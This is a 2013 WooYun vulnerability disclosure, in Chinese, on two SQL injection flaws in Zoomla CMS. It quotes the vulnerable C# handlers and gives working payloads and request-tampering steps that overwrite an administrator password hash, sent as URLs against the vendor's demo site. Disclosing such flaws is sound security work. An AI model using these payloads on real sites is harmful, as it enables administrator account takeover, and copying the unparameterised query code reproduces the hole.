当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046418

漏洞标题:逐浪CMS通用型SQL注入6+7(update型)

相关厂商:逐浪CMS

漏洞作者: wefgod

提交时间:2013-12-19 10:57

修复时间:2013-12-24 10:57

公开时间:2013-12-24 10:57

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:1

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-19: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
1970-02-25: 细节向核心白帽子及相关领域专家公开
1970-03-07: 细节向普通白帽子公开
1970-03-17: 细节向实习白帽子公开
2013-12-24: 细节向公众公开

简要描述:

好像没修复,友情来提交下。本来已经放弃了的

详细说明:

某功能还是存在两个UPDATE型注入,咱们可以秒改管理员密码。当然了也可以insert管理员的,为了避免一些问题就不用insert来测试了
涉及的两个类:
public class MIS_Project_ProQuote : Page, IRequiresSessionState
public class MIS_Target_mailQuote : Page, IRequiresSessionState

漏洞证明:

注入点1:
代码如下

public class MIS_Project_ProQuote : Page, IRequiresSessionState
protected void Button1_Click(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(base.Request["types"]) && this.types == "7")
{
string text = base.Request["id"].ToString(); //ID参数
string value = this.ProID.Value;
if (!string.IsNullOrEmpty(value))
{
this.mps = this.bll.SelectByType(DataConverter.CLng(value));
if (this.mps.TargetID.ToString() == "")
{
this.HiddenField1.Value = text; //将ID参数赋值给隐藏域
}
else
{
this.HiddenField1.Value = this.mps.TargetID + "|" + text;
}
this.bll.Update("TargetID='" + this.HiddenField1.Value + "'", "ID='" + DataConverter.CLng(value) + "'"); //隐藏域没有过滤直接带入更新的查询,产生漏洞
base.Response.Write("<script> location.href='Default.aspx?ID=" + text + "';</script>");
}
}
}


注册前台用户
访问:
http://demo.zoomla.cn/mis/target/proquote.aspx?types=7&id=1
点击引用按钮
改包

t01a3ed9323afd40b5e.png


t017cba55f1f4bb81b7.png


Proid输入随意的整数。
将id修改为注入的代码:
1';update zl_manager set adminpassword='77963b7a931377ad4ab5ad6a9cd718aa' where adminname='test123';--
此处注入和之前的不太一样。
实际上这里是hidden的参数有问题,但是由于hidden参数要二次从id赋值,所以只要改ID这个参数即可,直接改hidden是无效的。
查看测试管理员密码已经被修改:

t016adc21e29ae1dfdd.png


注入点2:
代码如下

public class MIS_Target_mailQuote : Page, IRequiresSessionState
protected void Button1_Click(object sender, EventArgs e)
{
string value = this.ProID.Value;
string str = string.Empty;
if (!string.IsNullOrEmpty(base.Request["types"]) && base.Request["types"] == "8")
{
if (!string.IsNullOrEmpty(base.Request["ID"]))
{
str = base.Request["id"].ToString(); //漏洞点,id参数无过滤
}
if (!string.IsNullOrEmpty(value))
{
this.bminfo.Update("MID=" + str, "ID=" + DataConverter.CLng(value)); //str变量直接带入更新操作
if (!string.IsNullOrEmpty(base.Request["ParentID"]))
{
base.Response.Write("<script> window.Patent.location.reload(); </script>");
return;
}
base.Response.Write("<script>window.Patent.location.reload();</script>");
}
}
}


前台注册用户。
http://demo.zoomla.cn/mis/target/mailquote.aspx?id=1;update zl_manager set adminpassword='08f8e0260c64418510cefb2b06eee5cd' where adminname='test123';--&types=8
访问上面的链接后,点击引用!!!!截断一下
然后改包,为下面的参数添加一个整型值:

t01bf85ed4c816827c5.png


查看数据库,发现测试用的管理员密码已经被修改了

t01304ecc4900729bca.png

修复方案:

过滤,参数化查询。

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-12-24 10:57

厂商回复:

最新状态:

暂无